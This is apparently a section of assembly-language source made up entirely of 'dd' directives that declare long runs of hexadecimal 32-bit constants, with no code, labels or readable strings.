		dd 1C40D5B6h, 1F55B268h, 0CB953B71h, 0F8BF94ABh, 0CE1892A5h
		dd 12800528h, 0A740E44h, 97AF8C68h, 7AEABCEAh, 55876825h
		dd 97F6156Ch, 0FD954170h, 45FD1432h, 0D82189ADh, 0BF20BBCCh
		dd 0BFF8E05Dh, 6E2D6816h, 26566679h, 0A7386449h, 5FEB8000h
		dd 68E63970h, 5997B474h, 271FA4B9h, 0C27FB90Eh,	15555D70h
		dd 736CFB61h, 7F582F41h, 18D22F36h, 0F8C485FEh,	652F1006h
		dd 129F124Ah, 8471B9A1h, 0E9023B8Fh, 11D4A13Dh,	97A5762h
		dd 4F0F9700h, 81B56D05h, 21A4E3F6h, 0F82610CBh,	1A680A66h
		dd 80AD7F34h, 71AA10A4h, 22D748F7h, 2076057Bh, 66C70952h
		dd 2B0BC2CBh, 58946B5Eh, 19E39500h, 0B496DEB2h,	495CF898h
		dd 0F4E8D374h, 0A83E01D7h, 2F287370h, 7048AF1h,	7E2F7FE8h
		dd 5BC489DBh, 4CC453A2h, 17FB1FF8h, 0D0AFA4C6h,	34A0F584h
		dd 5C0E1B2Dh, 9FD8B06h,	0B3C03EFEh, 7616910Ah, 0E80F5A58h
		dd 22E9C2BFh, 7503CA71h, 565ADEF8h, 737408ABh, 733F4A2Eh
		dd 0FC2CEF75h, 0E307D25Bh, 79D94FE9h, 38BF62ADh, 94CE964h
		dd 0DD424CBh, 0AB4DA202h, 0DB28D766h, 3C8B0B08h, 56F91AF7h
		dd 65AD88C4h, 7B84852Fh, 3F3F24E4h, 925214Ch, 0FABAE0DFh
		dd 3B680313h, 36E9CB31h, 0A03CFE8Ch, 8BFD9B55h,	83F92DD0h
		dd 1323AB02h, 0E1812063h, 8C0B1F20h, 0A729E908h, 91625CB3h
		dd 14455D95h, 6D5F6806h, 0B9432E59h, 0C9096F49h, 2E5EFC41h
		dd 6E291A9h, 0D925E47Ch, 0B077CBACh, 0D6B8B9EEh, 9380FE2Ah
		dd 5C6962CEh, 1A053777h, 0A8E1FB99h, 1A41949Eh,	49334E22h
		dd 0AA706C7h, 0D06D4975h, 0CAF7FED9h, 951FD0F6h, 585ABCD4h
		dd 3C5D9718h, 8F58C9B9h, 755A85FCh, 1A89C2D1h, 0D276E864h
		dd 0AC88F114h, 7E2775B6h, 5464091Eh, 0A89DC5FFh, 0C0707C7Bh
		dd 759DC71Fh, 2BDCDD8h,	7F4F83C8h, 2A253718h, 0A913EC2Ch
		dd 0C7204B05h, 3CEBD804h, 0D55847BDh, 0D705031Eh, 0AB94C450h
		dd 58C9D5A9h, 0F8224D7h, 1EAC71A0h, 573BB652h, 2E44B133h
		dd 1948A1F0h, 0D03CB439h, 52FB05ACh, 0C587AF28h, 42FEEF64h
		dd 5BDAE9E8h, 0D5256879h, 52687421h, 0D92F2560h, 83BB04B6h
		dd 0FEF3C35Ah, 0F84DC59Ch, 38BA4BB6h, 64BD5C8Fh, 7CF5A7Dh
		dd 75DCF657h, 3E32F126h, 4B5CCFDh, 0CCBA607Eh, 81024FD4h
		dd 0EF3D8CCFh, 18A56073h, 881079C2h, 6096BDE9h,	66CCAD13h
		dd 0C7680357h, 5F064C60h, 0F498E20h, 89F5805Bh,	0EB22B325h
		dd 0EFB84741h, 97B3BA5h, 0E55056DEh, 0C936585Dh, 60022BEBh
		dd 12045C82h, 0EE2D2015h, 0B01F3E56h, 68098B50h, 0A6540F75h
		dd 0E3D4363h, 2605F771h, 0EFD2310Fh, 52001A8Bh,	8A4A51BAh
		dd 0FA9F2978h, 0A05501Dh, 0A0D79D59h, 5BD8302Ah, 2C0B0B0Ch
		dd 457D88F9h, 0B24A88BBh, 30EFB602h, 1B66D7F1h,	80C1F25Ah
		dd 7830C629h, 2F15A89h,	0E5C15E5Eh, 4F405540h, 0FE25D793h
		dd 0EC7EC2B9h, 5605220Ah, 0B8826205h, 0FE0405A4h, 27DDF209h
		dd 17E3D71Dh, 0CD0E40A7h, 941E5367h, 0E5A5543Fh, 78500742h
		dd 842A9EBFh, 59392FACh, 53788EDEh, 0D850BD54h,	0F91FD309h
		dd 0C076D451h, 0AE06E031h, 0C762E97Fh, 532567C3h, 0CC103D45h
		dd 0ADE93A07h, 84DFC653h, 4BA8FE28h, 2DC17075h,	0FE277359h
		dd 8923FA41h, 0FEFAC808h, 0E25C9611h, 6655CB28h, 0AB680409h
		dd 0EE134305h, 4D12328Bh, 2FADBD4Ah, 0B7A370E0h, 0E46F1159h
		dd 0FC8ADDh, 0C2818F9Ch, 371C6D62h, 83DDC988h, 4D2CC3B0h
		dd 12C0C6EFh, 1BFBE4Eh,	5EF02966h, 0C1C23E5Bh, 5F3CE9DEh
		dd 20BC792Ah, 78BD057Fh, 77FA9715h, 0E4704CCh, 0E735F3E9h
		dd 5B67DA6Fh, 0EE2828AEh, 0D019A04Ch, 0D2804F7h, 96BA1040h
		dd 725D24C0h, 18430444h, 0E2804688h, 75712DF1h,	2245E33h
		dd 58575948h, 8BA659DFh, 65551C47h, 448588A2h, 0E407B00Eh
		dd 29C833E4h, 5E6E1703h, 6AD10117h, 6A153863h, 4A08F050h
		dd 601FA091h, 0DBBD4681h, 3D05B706h, 5987305h, 725D0B82h
		dd 2713716Dh, 4A2603Dh,	19573995h, 0B765F75Dh, 0CF7E803Fh
		dd 585E6659h, 4015BF8h,	0FE31E919h, 75AF3AFFh, 2DCABE0Ch
		dd 223CE908h, 12C7B800h, 0EA2168B6h, 16BFA88Bh,	0F381807Dh
		dd 6ADADCFFh, 0C27A0CC3h, 0D9542D86h, 0C86330B2h, 93E8A4BCh
		dd 93B0253Ch, 4A990159h, 0F1EDAC7Bh, 14229838h,	4A5CEFCCh
		dd 9792944Eh, 1C8CA944h, 1C55950Eh, 7C06A1B3h, 4A968A7Bh
		dd 0F26F88AAh, 80F7225Fh, 89811F5Bh, 0D15F58FDh, 636801F7h
		dd 3A41F36Dh, 60B288C0h, 0EEFCC09Dh, 320AEF55h,	0E5A05597h
		dd 1EBDBAA2h, 4DB12958h, 0F057604h, 2E2C158h, 33922BC0h
		dd 0FE546F77h, 8B36422h
		dd 2E40AC62h, 393F6D06h, 0BEC90061h, 414C4E6Bh,	0E4D15BF7h
		dd 0F41743EBh, 0AAA89B33h, 1483254Bh, 80200C96h, 57665A12h
		dd 0EECE41ECh, 0E3E709B7h, 2C38707Fh, 43AAE5F3h, 0EB9952C3h
		dd 0E616618Ch, 576E3256h, 8730C8AEh, 0E668CB12h, 58FC23CDh
		dd 0E211C912h, 0B180B375h, 24781DE3h, 720963C1h, 0EEF5202Eh
		dd 39B43A13h, 609C2D03h, 0E7FC02C9h, 2EA12D02h,	36E7EE0h
		dd 0C172971Ah, 5EB30018h, 97B0D756h, 0C731BE04h, 0A0C26466h
		dd 6B3ED2F7h, 0C0957F72h, 0FD81EA65h, 260C0B46h, 290B1FBBh
		dd 426513C0h, 489E68B7h, 18626C90h, 3FD2E983h, 50809478h
		dd 0F163FEB8h, 2B254400h, 351D272Ch, 0CE3E1EF7h, 40AA9E5Fh
		dd 5A0510A6h, 89FAB234h, 25ACC658h, 77543AC1h, 1812FADBh
		dd 7716D7F9h, 0C525FC1Ch, 0FB095451h, 551642D2h, 5CF8E7D4h
		dd 0A0E5AC52h, 963E7372h, 0AB0197A5h, 80D0E382h, 0AB6B0EC3h
		dd 4186B86Ah, 1AB0D310h, 594F1148h, 841A7B9h, 0AF79122Ah
		dd 0AD165785h, 95F9580h, 3EB5DACEh, 8F64B8A1h, 41C9E002h
		dd 193526C0h, 0BDF1E88Eh, 48D77112h, 24D5B6E3h,	25DCF7Dh
		dd 4FE4A22h, 2009567Dh,	28E91208h, 602A2C2h, 0D6F6F186h
		dd 7C306608h, 0DC60632h, 97798DE9h, 5124CDAFh, 0D1989455h
		dd 7DDF3D34h, 0B8B892C0h, 0A50AEF26h, 551A1C8h,	29287E11h
		dd 2CF40841h, 0DDF1B534h, 0DDF5C0CEh, 0B4461B4Fh, 0F812805h
		dd 0BC201DAh, 5CE9E6E1h, 834EF1CEh, 0D56A1AF6h,	0C2F20516h
		dd 0FF231C3Bh, 0EFA413C0h, 0A9294E7Eh, 481505FAh, 0B9C62A3Dh
		dd 20B60C54h, 0A32E3C32h, 160F6810h, 0E77670C3h, 0E9CEC8DDh
		dd 9B81645Eh, 0B63A41B1h, 18E5079h, 8F06597h, 0BA075386h
		dd 0C5346FD6h, 6B8EA0C5h, 0E22A1512h, 48114738h, 760B273Bh
		dd 9EC1BABDh, 6EBCE40Ah, 5AE9A21Eh, 82DEDEB2h, 13738A3h
		dd 0FF1DEA5Fh, 0B980A347h, 55F1528Ah, 6BE10981h, 0E7D4BC5Bh
		dd 39EE9F02h, 4FA6BE3h,	0ED1B1C12h, 0A6B4EE6Bh,	6DC62768h
		dd 0B6E9C793h, 21655501h, 28C529AFh, 0C2E4B7D9h, 5A18B901h
		dd 7277E297h, 2BD82CBCh, 4BD1804Ah, 0CF2D5FBBh,	0EBA1EEF4h
		dd 78FF2F0h, 5E041194h,	0EB3C6468h, 0DFBDF230h,	40D43523h
		dd 341A0E4h, 0F8433327h, 0E90780C8h, 537C4EF8h,	9183EE60h
		dd 0E091D629h, 48CFB7FBh, 0C2335EA5h, 0F95FDCA3h, 0B0740576h
		dd 2CFA838Ah, 53C800D7h, 801294B7h, 0B5BE0BEFh,	45A12F5Ch
		dd 0C88F120h, 4F29D813h, 22E054AAh, 52FB684Eh, 7756B9E4h
		dd 32EB18B8h, 7005839Ah, 7E37FA4Ah, 0A007209Eh,	0C75A03EBh
		dd 8BFA8824h, 15677590h, 0C1093992h, 0D5C9FE01h, 0BBC73305h
		dd 0ACD2BBCAh, 0F6A6E3D9h, 6EBE3E9Ah, 21F1017h,	4B192712h
		dd 0DEC6F6E0h, 3ABB7214h, 0D4D07D7h, 0E9411C8Ch, 3A9D91E8h
		dd 33B8A65Dh, 0B013206Eh, 1BBFCAFEh, 60F90AAAh,	0D5E33BD2h
		dd 7C053E4Ch, 0E8BAD580h, 0E9550542h, 92404CCCh, 1068D7E3h
		dd 0C5CBEC14h, 0C23B2C48h, 0D40BAEADh, 31660807h, 8CB85312h
		dd 0A518BE97h, 8254B94Eh, 0CA9043FFh, 99D4577Fh, 596FAFBFh
		dd 95C920AEh, 0ED1E3077h, 0EA312701h, 52173B4Bh, 8DAC3F36h
		dd 47E9DC4h, 62F95B54h,	19EACB8Fh, 397F27D6h, 0F92A1CABh
		dd 3AE9C55Ah, 8BB247D4h, 9256E94Bh, 4B7FB3BBh, 305DC8BEh
		dd 538C84Dh, 0BF34E998h, 0CC0402ADh, 0CB47911Bh, 1C2C5A59h
		dd 89A5BE28h, 1C7F3E5Bh, 9CED766Fh, 11CD187h, 0CE2E6017h
		dd 115D7E02h, 29BB5BE6h, 0C6D16B97h, 75C27C8Ah,	0D3D2CE5Eh
		dd 708F0970h, 7F824329h, 0D9FDD19Eh, 0E7DD69D4h, 128245Bh
		dd 458E25DAh, 348B7829h, 0B133CD3h, 0E34A88BEh,	0F0336F18h
		dd 8084C86Ch, 6726C280h, 0FB39C528h, 819D4DFAh,	0F1315975h
		dd 88ACEC9h, 4908D6F7h,	409AEA00h, 0D99652EFh, 47652F04h
		dd 0AD5F44ACh, 3D941042h, 3B770502h, 88D56150h,	0DE270789h
		dd 2BE15833h, 4AE4488Bh, 60180B25h, 5C1F0327h, 0C0A64843h
		dd 0B656627h, 55E311Eh,	0AD824D85h, 85E8139Dh, 9FF4B039h
		dd 0BC668120h, 0AF809743h, 0D6814125h, 0FB57D5A0h, 980840E0h
		dd 7FC69570h, 0B5931620h, 0BBBC84D0h, 5543E958h, 0E67BA99Bh
		dd 0E3AF934Ch, 6080D599h, 821E5A9Eh, 0C5489E64h, 750C3705h
		dd 4B757151h, 5EB76A8Ch, 2EA5B14Fh, 2F9869BEh, 0B02F59EDh
		dd 6C5E3362h, 0AE5A0CF2h, 32C9853h, 80977A1h, 8EE15ABBh
		dd 71C63B6Ch, 6968041Ch, 0C2091B2Eh, 0C2F03E3Ah, 4B375197h
		dd 73277959h, 0B4D7A7D8h, 0E95213A5h, 6C8BBF7h,	9D681650h
		dd 6169AE45h, 1DBF442Bh, 9F8ABF5Bh, 0B8E84912h,	2FC0E44Ah
		dd 4CB135EAh, 0E9005F11h, 53772120h, 19122ABBh,	0CB1D6D6Bh
		dd 4FDD0DCEh, 0ADF7AA43h, 71682DBDh, 1387895Fh,	0B92296h
		dd 76CCFDA5h, 0CB4AD408h, 82D02060h, 0B0A94108h, 486BCA2Ah
		dd 9ABE4EAAh, 6EFA3470h, 0D2F7F7EAh, 0C7D282AFh, 15DDD14Ah
		dd 2F6A2BB0h, 64307BC4h, 25C5A744h, 7B972757h, 0FE36E461h
		dd 77B4BE00h, 0E05F4F0Ah, 0EA60ED8Eh, 127EEB33h, 0AB095E20h
		dd 5F68CF02h, 6C147752h, 0AE2A39Ch, 0F03A7737h,	38F5161Ah
		dd 95C82C06h, 62F01DC4h, 928A0197h, 2DCCD2F7h, 49570BD8h
		dd 9AFD5515h, 0F30B7DF0h, 7E202F7h, 8BCC57FDh, 0A24E8C27h
		dd 77B2ED04h, 5952C287h, 65D985DFh, 0E90C8FDFh,	4642ADA1h
		dd 9CE68103h, 0BD57067Bh, 0B1E86884h, 34EE680Ch, 9741D1C7h
		dd 7A3BE92Eh, 41697E2Eh, 108EE894h, 59282877h, 9C603CAh
		dd 0EA291219h, 328BCBF1h, 0B2B99205h, 2FE4BB93h, 1287905Ch
		dd 0EC848BDh, 2622F581h, 0F08B7AC2h, 5D5BA500h,	48135247h
		dd 548402E9h, 0FAB484BFh, 1CB039A8h, 2A5CB75Fh,	7557196Ah
		dd 830E6B7h, 23BA1FC6h,	89173F3Ch, 0AC8CBFDCh, 1492B529h
		dd 84560255h, 28F60986h, 29199E05h, 45C1A207h, 579012E2h
		dd 0B2EBEA09h, 3829BEFDh, 5A383030h, 0C4B8A3F6h, 91E2D8B8h
		dd 82505227h, 0E941A393h, 597BB475h, 2E45AA52h,	0D18A20AEh
		dd 0D025E9E5h, 0CFBB7685h, 1383EB44h, 0FB1F16EEh, 13F1FC88h
		dd 2123D52Dh, 54A9306Eh, 0C285AF49h, 5C4D92F9h,	0B85F969Dh
		dd 9C61B19Bh, 920DF33Ah, 0E65F2CEEh, 5F2EE197h,	0DB811822h
		dd 0F0167A0Bh, 6717F3CBh, 0EEA07165h, 7F6F09F6h, 25302977h
		dd 0BBD471E9h, 9BEE1DCCh, 0F2366C0Dh, 9E9A72F8h, 6FF1CDC9h
		dd 1DC42008h, 0DE84281h, 24772D79h, 7D82AF39h, 114546Bh
		dd 0A6E94F97h, 5B581BFh, 2A1A2E38h, 0A02D6C70h,	0B15D5907h
		dd 0BA686403h, 0E91226B3h, 29C7A0BDh, 20F5CA48h, 60BF005Ch
		dd 0B85BB713h, 11144F1Bh, 0BD93119h, 710E98E9h,	38F3883Ch
		dd 86FBB30Bh, 0B09BAF25h, 0EDC041AEh, 0BA2581E1h, 37630D14h
		dd 0C1C76E20h, 2445F1F5h, 0A0349A65h, 2AA702A3h, 0DF35A909h
		dd 0AA4E614h, 96685AA0h, 6C6B4503h, 5B4F0BE9h, 4BB41E45h
		dd 9DE8DCCFh, 5181963Eh, 0BA64ACF0h, 0B75309C2h, 0E75880F1h
		dd 4191CA78h, 49F356A7h, 993C585Dh, 7BD0C974h, 506DF995h
		dd 0FDBA4FE9h, 90025D5Eh, 5E156E29h, 0BF08A06Bh, 1460CED9h
		dd 7289967h, 3E76AC35h,	43E65003h, 15A4B8Fh, 0FF76B5B6h
		dd 0E90A2962h, 0BC695058h, 0BFC9182Ah, 7BF40941h, 0FD291E0Bh
		dd 891395E5h, 0ED8BFAh,	2D4FDFEBh, 4A906848h, 46743158h
		dd 300FD56Fh, 0C54A83A3h, 26AD0AE0h, 0CD2C496h,	0D7314CE8h
		dd 0F6F5789Fh, 4C18B786h
		dd 3C12C89Bh, 74812996h, 287AEC93h, 81B584BAh, 6C6168E4h
		dd 20B1B66Ah, 2C5376F0h, 0A529B528h, 1363605Fh,	0D7056BCCh
		dd 14F8C9Eh, 0F44E27BCh, 6B1CBA97h, 70A57D72h, 145CBF40h
		dd 0FA66CEA5h, 0B48549E2h, 0A275C385h, 17004C0Eh, 0FD328920h
		dd 90AD5791h, 5DA67B08h, 0CC1D7C12h, 0A5BF2D38h, 33D423EAh
		dd 97E5FB2h, 2C1E64E1h,	2EC16180h, 0F7264EA0h, 8925F5DBh
		dd 494E5D10h, 0FB427E96h, 0FA225D5Fh, 90D78883h, 0FCFA31E7h
		dd 4A3F2468h, 26AAC04Ah, 505A60A6h, 0BA52EFD0h,	3E3400D6h
		dd 0C5CA8119h, 7E4C671Eh, 19BE386Fh, 5ADA8F80h,	7B2E128Fh
		dd 0D0752609h, 58088074h, 801F4FE9h, 52539359h,	14155B49h
		dd 0DAA64446h, 0DA0F5F07h, 0AA1D53D7h, 0E90B278Fh, 147F7826h
		dd 850C427Eh, 0BDD9E089h, 0CAD8987Ah, 97EE58B5h, 0D69D3C52h
		dd 0B9B5081Dh, 0B7EA5B12h, 4B6D4CE7h, 9C998CBBh, 67E4A17h
		dd 366A46EEh, 0EE04C1C9h, 3D706F4Eh, 0AF37B9C2h, 8A42DE78h
		dd 0E455DC6Bh, 5245268Fh, 999881DCh, 4529EA0Bh,	181DFBD7h
		dd 203F7AADh, 50956E51h, 80830B95h, 487557C5h, 90E28994h
		dd 4FC91881h, 0F4E66C6Bh, 4630CCE8h, 9D2DB053h,	0DE090B1Eh
		dd 0EB044E5Bh, 9E01131Fh, 69D7D684h, 0B0202325h, 90554F0Dh
		dd 0D96C1CC2h, 0CA04759h, 24195464h, 0E2404EDCh, 13FF4EE6h
		dd 39060426h, 8FFDB8D7h, 20952954h, 8B5B9F2h, 4FFC9833h
		dd 0CF32B416h, 0CDFB514Ah, 3DF36B10h, 736CBB80h, 0E1A02EB3h
		dd 4A131DE8h, 0E0AF450Dh, 50319F72h, 97A582FDh,	70E78000h
		dd 3012EFE6h, 0A2EAF828h, 3366DC78h, 387A58ADh,	0FE4E2BC5h
		dd 1019309Ah, 40403039h, 0ED2AA4BAh, 1FE0615Eh,	4AFC7E2Dh
		dd 2977B527h, 9CFE966Ch, 0E524E945h, 0E1811EDAh, 2C7A6DBEh
		dd 5A010C82h, 0B4C02305h, 5B316A18h, 74CB0C44h,	6FE961h
		dd 35340D39h, 5055240h,	1339E2B9h, 52EA6AFh, 6A426855h
		dd 98A28D8h, 5E4E8012h,	0AFD02404h, 0A362FA12h,	43CA0829h
		dd 19CE2FE9h, 2044EE58h, 1F5855B6h, 0BC63856Eh,	0DD5E2D06h
		dd 3C7FE88Bh, 4479F4Ch,	2546AC08h, 72C07AEAh, 73C9E82Ah
		dd 0A22A0250h, 80CFD6BEh, 2F446A3Eh, 0D995D7F7h, 72E602Eh
		dd 0EDFC4F09h, 0A18F8301h, 0C20CE9E6h, 1293E92Ah, 0B2355C7Ah
		dd 82884881h, 0F629FB2Eh, 0AB4B122Eh, 40DDC328h, 0E75020B2h
		dd 925BD68Ch, 0CCDEF8E9h, 0F2779552h, 1607D9BDh, 4826A947h
		dd 0B8500251h, 62BCBF31h, 1C01DC03h, 0B51EFBDh,	0DE187685h
		dd 6FEE6080h, 1ECA094Bh, 5C08FE01h, 2C8B1808h, 4E63B868h
		dd 340D63A5h, 0A1A2FE47h, 0A2D430C7h, 846A4341h, 0C5C4C272h
		dd 2E4D780Ch, 2A0A3596h, 0D6ED1FB6h, 0C335863h,	9B278C22h
		dd 31C778B1h, 0E9D95552h, 0D9A92AD8h, 14A86D0Fh, 0CB21D9BEh
		dd 0DA13D956h, 0F093A759h, 392535A0h, 4E806584h, 9D7A2D48h
		dd 0DEBDD381h, 0EAC1585Eh, 6590758h, 19254503h,	0C9B68012h
		dd 0B551BD7Fh, 57352C89h, 0C72FDB14h, 0FEA6687h, 73FC67A4h
		dd 79DCCA09h, 171BB36Bh, 53B1E9ECh, 621ADE88h, 71D00181h
		dd 1671AC40h, 11A0A22Ah, 0C102010Ah, 15106940h,	688FCD82h
		dd 50A75C57h, 0DEFA5357h, 70320802h, 0C0D3F75Bh, 0C55E30B4h
		dd 82C5BB30h, 1B786AF2h, 510AF309h, 4E260477h, 0DD014A0Bh
		dd 0F9AD0673h, 0DB59F005h, 2DAA5365h, 0AF840718h, 21BF81A8h
		dd 2407F5F0h, 0BC01CFB6h, 0E920B328h, 0C22D5180h, 5023701Fh
		dd 62370629h, 170C5FE8h, 0F8796A7Ah, 4A84065Eh,	0B0C124Ch
		dd 6DB121FFh, 818A0857h, 72338E02h, 83FEE465h, 0ACF2A908h
		dd 729EC74h, 312CF70Fh,	6004C2D5h, 2734A0F7h, 2405B651h
		dd 867E3C1h, 9123643h, 420E0E81h, 0A5BDAC81h, 617CBA54h
		dd 307EFC21h, 9DB4214Fh, 73C602C5h, 6AE90541h, 2F894A69h
		dd 27EB8A7h, 72F83CECh,	2FE8F101h, 4D486F0Dh, 7E8F078Fh
		dd 0F5603419h, 48A70995h, 3F22B76Eh, 0C306E228h, 5A08B909h
		dd 0D17A84E3h, 0E9A303FEh, 0A9000DADh, 676E68B1h, 10EACD81h
		dd 9E27C353h, 19064343h, 0E2660B0Fh, 8402C7EDh,	0CE09D7EBh
		dd 27589F0Dh, 3A7FCD03h, 3E1C16Fh, 4AFDE946h, 8BAA1BA4h
		dd 0E0F5AFDFh, 7F191422h, 3D45BF89h, 25C1E4B0h,	11416B5h
		dd 82211DDh, 0AB5EF513h, 191365A6h, 52F83547h, 8953AD8Eh
		dd 971EF812h, 586366CEh, 76412F40h, 4A4A959Dh, 753D9940h
		dd 0AA4F6A3Dh, 68139BC3h, 1BF67006h, 630D824Ah,	2B03D608h
		dd 0B7257C1Bh, 0FCA23AC2h, 0DB8B6708h, 56023A29h, 5E2B63C9h
		dd 79694FE8h, 0B6278A5Eh, 0B15E2DA4h, 8268CE18h, 49B65CB5h
		dd 84DB9577h, 0B24D26E9h, 52BA5B3Dh, 7E240A7Eh,	4C1660C7h
		dd 1FF67AA3h, 0A939594Fh, 369E5F01h, 8BF1F92Eh,	0E23F628Eh
		dd 65C2FD6Fh, 0D5C81A5Dh, 49528742h, 0EB533EF9h, 798B3737h
		dd 8120BA36h, 8EBC100h,	0BF57E3D1h, 0BD771212h,	0E92FA00Bh
		dd 0CB90714Bh, 9D9F68E6h, 0E30B3D4Ch, 7C08C221h, 8A975887h
		dd 69980D9Eh, 43BBDF3h,	2922B441h, 43FDFAEBh, 4206A158h
		dd 0C12A07Bh, 8D2ABB16h, 25E11F0Bh, 1BA64FFh, 5AF9D8F0h
		dd 7C32EFCh, 68A60B21h,	0C330440Fh, 0F20B3543h,	0FA20E975h
		dd 0EC424A8Dh, 58BB05Dh, 9A2A4C65h, 35197805h, 0AF5EC03Dh
		dd 236EF358h, 0DF95820Ch, 0A00358FAh, 8251033Ah, 27CA82F5h
		dd 3DDC57A8h, 0C7F80469h, 0A94BF3BCh, 60AB92E8h, 0A42106E6h
		dd 96E97C09h, 627D56FEh, 2FC6631Eh, 2B186804h, 72D00AF1h
		dd 6BDBE957h, 4257602Ch, 0AC47FF44h, 79982D01h,	1C204A63h
		dd 0E907A005h, 1CCE4946h, 0BB2FB917h, 0BF84CC9h, 11E7BFA3h
		dd 39F3173Fh, 40577FA4h, 0E69552C6h, 8E895DCEh,	1E8D5518h
		dd 2F1E2368h, 58C2653h,	0B21490h, 38B551C3h, 0F6F1E580h
		dd 932DD7Fh, 74291EFBh,	2C84716Fh, 685003ADh, 16B67A53h
		dd 90A2A4CAh, 910D1DE0h, 942D3D7Bh, 0C5C1F416h,	4565FAD7h
		dd 926CCABEh, 4EA32EFFh, 21663EB5h, 0AA825E7Bh,	42374871h
		dd 1B342C72h, 0EFFDB4EDh, 13541912h, 25AA20FFh,	863A72F5h
		dd 37918039h, 8C2D5D20h, 0BF11E010h, 307DBE09h,	2DE9D13Dh
		dd 0BC7C07A6h, 53E0B164h, 628A9E59h, 665D3968h,	0FDF58AF1h
		dd 9B03B4Eh, 8E96EF79h,	0D20D66C2h, 3DDAB55Ah, 9C91594Bh
		dd 996E9404h, 47EC30C0h, 0C9EA36ABh, 5826417Dh,	975091D8h
		dd 0C731B0E6h, 365B41AAh, 2255DD12h, 9001C340h,	0C91CBC5h
		dd 4371730Ch, 4630290Eh, 83EB0C17h, 11D62D3Bh, 7943AB77h
		dd 0EB7469F5h, 21560C62h, 0F914E8C1h, 254D3C1Ah, 0B9107731h
		dd 186908F3h, 9DF0D01Eh, 0E28B514Ah, 0B86ABE54h, 0F889DC25h
		dd 8780605Bh, 0BCC490F9h, 0F84C2550h, 2D3EF18Ch, 2674126Bh
		dd 74E10FEh, 2BD45A3Eh,	0F7E892EAh, 0AE2ED8C1h,	92C8B28h
		dd 38CEE9E7h, 40C2F31Bh, 0D5BB895Dh, 1D5D8938h,	4B62CF3Ah
		dd 9ED4C84h, 3A47EF4Ah,	98627E05h, 5922F7A2h, 0D9A06DB5h
		dd 0F043F3F5h, 400C2A60h, 253999B9h, 4CD82DE9h,	69787EBFh
		dd 7A8053DCh, 0FD6DA943h, 79B99853h, 55679768h,	0BD227F25h
		dd 6ADB2D55h, 4BB5B96h,	0AEC9FE2Dh, 0ABF1C790h,	0AEB70753h
		dd 93E4B151h, 223D57E1h, 0C8612FE9h, 74F6F9B4h,	27CF7CD9h
		dd 0A96AB5D2h, 6BEF7860h, 630AF502h, 0A23E8768h, 0DF831ABDh
		dd 85698279h, 1A91EE5Dh, 0E92F05C8h, 0C4BD2F8Dh, 6D700ACh
		dd 0E3815A38h, 86041F87h
		dd 0EDCAE90Dh, 0CCEDE5E5h, 2B039B55h, 1CEE5DF0h, 2D030C46h
		dd 682F1855h, 0BC1549CBh, 0B28E996h, 0B39347E9h, 0F45C167Eh
		dd 0ED62DD33h, 5C006B9Dh, 0F5308F2Dh, 5005073Eh, 0A06A0119h
		dd 13701826h, 0B5228BEh, 490759C3h, 0F8E9C721h,	3B6529D0h
		dd 41EFA445h, 0D1AEF512h, 0C217163Ah, 62D77C75h, 0C95CC8BEh
		dd 73C05052h, 0C8A95055h, 30165A41h, 0AE02C250h, 1CDE3748h
		dd 584115E4h, 4E7DE94Bh, 7A1EB769h, 0AF6F9224h,	3413C9C1h
		dd 6E00BE3Dh, 0B97FB10Bh, 4E2FF496h, 0A6662280h, 6EE0FDEh
		dd 7371EA12h, 0A63EC1A5h, 0D1924160h, 57BAD952h, 0ABD6A5BFh
		dd 3CEAD9D0h, 4ECC9040h, 793CF657h, 0EF780144h,	0C7020022h
		dd 3CF15532h, 75EB161h,	0D17ADCF2h, 2ACF892Ah, 6E5FB0B1h
		dd 38BC5A13h, 4B4FFCD3h, 0AF91DAB3h, 17B94268h,	3F24EB21h
		dd 0DA6706BEh, 5F77934Ch, 0DEC90F25h, 44B962FCh, 0F662EE57h
		dd 163064EBh, 0B9D6C55Ch, 8C557CD0h, 3DAA2F99h,	44AF2ECCh
		dd 122B5EA0h, 0C4AA8556h, 2B8FBE79h, 9274EF5Bh,	0D78CE6EBh
		dd 68AB2CBEh, 124B802Dh, 17CD4061h, 21F02553h, 0F58126D6h
		dd 74C87A95h, 38A41D2Ah, 9961D2Eh, 0A956C723h, 0E4C2D769h
		dd 0F4EAB8C3h, 2AAF050Bh, 4D7D6AE2h, 0BA02A441h, 6AD8437Ch
		dd 485AC180h, 0D573F795h, 0B3BD5507h, 68573D25h, 0F7610215h
		dd 0A33C7656h, 312EC39Fh, 4AE94D4Ch, 0E2F36A23h, 409FBE26h
		dd 0ECC6FBF2h, 3E8C3EF1h, 2FBABEE2h, 63A716DDh,	0F109B997h
		dd 622EF2B9h, 12FF4AA6h, 0E770016Fh, 7B041F14h,	5459DBB4h
		dd 0E0E3D542h, 6867246Ah, 2F940409h, 0C30F8016h, 1B2D4759h
		dd 42088374h, 4068019Dh, 0DD7BB505h, 4D5D3079h,	0AFA0B694h
		dd 0FD1C7D9Dh, 0C82122A8h, 9C95E917h, 0E730F7D9h, 540D0264h
		dd 0B288E938h, 0B97BB003h, 24227721h, 992E9Dh, 0CDFE12B5h
		dd 4F39F580h, 68A59E9h,	0E76D70BDh, 68C501C6h, 0E94E4318h
		dd 0EEF69F9h, 0F9AEE80h, 21FF77E6h, 8655E3F7h, 310B7CC0h
		dd 28C9053Eh, 70A267h, 7105D2A8h, 24E6E9BFh, 0D61E4C9Dh
		dd 530015DEh, 0ED3D5D3Bh, 92CB41CEh, 817FCA7Eh,	0F45BA746h
		dd 0C6305377h, 52518032h, 705F31EEh, 0B16F24FBh, 0DAA06A83h
		dd 0CBEFEEE0h, 3050F0E6h, 0C6735959h, 2FFAA44h,	77A70720h
		dd 7C0E5C1h, 5E0287EDh,	0FDE93DD7h, 0F74B89AEh,	0EEFA8D62h
		dd 12A84627h, 0F1B05FE8h, 7C0926CCh, 40D14227h,	5E5891CCh
		dd 1A77A08Dh, 288A6F02h, 5C4AD2F7h, 0E5CA01F9h,	3067FF1Dh
		dd 80829F19h, 6312C9D4h, 262E7C0Fh, 0A561A437h,	949D6CEEh
		dd 9ADD9D94h, 41576AAEh, 4F6A4C83h, 8CC2F366h, 82D57C59h
		dd 642CA28Bh, 920397F6h, 38005434h, 93A141BEh, 0F9F301F7h
		dd 178078CAh, 0F3231E68h, 17A958F3h, 52F73028h,	0E9090342h
		dd 0F15D67C8h, 28CD0B3Ch, 6852F230h, 0FE4A8620h, 0B3726575h
		dd 980AFEC2h, 0C5409A0Ch, 0DE181E3Eh, 8E5C810Ch, 2FA9E913h
		dd 0D8F6AC12h, 48A4553Eh, 15E8296h, 0E6905931h,	65C16456h
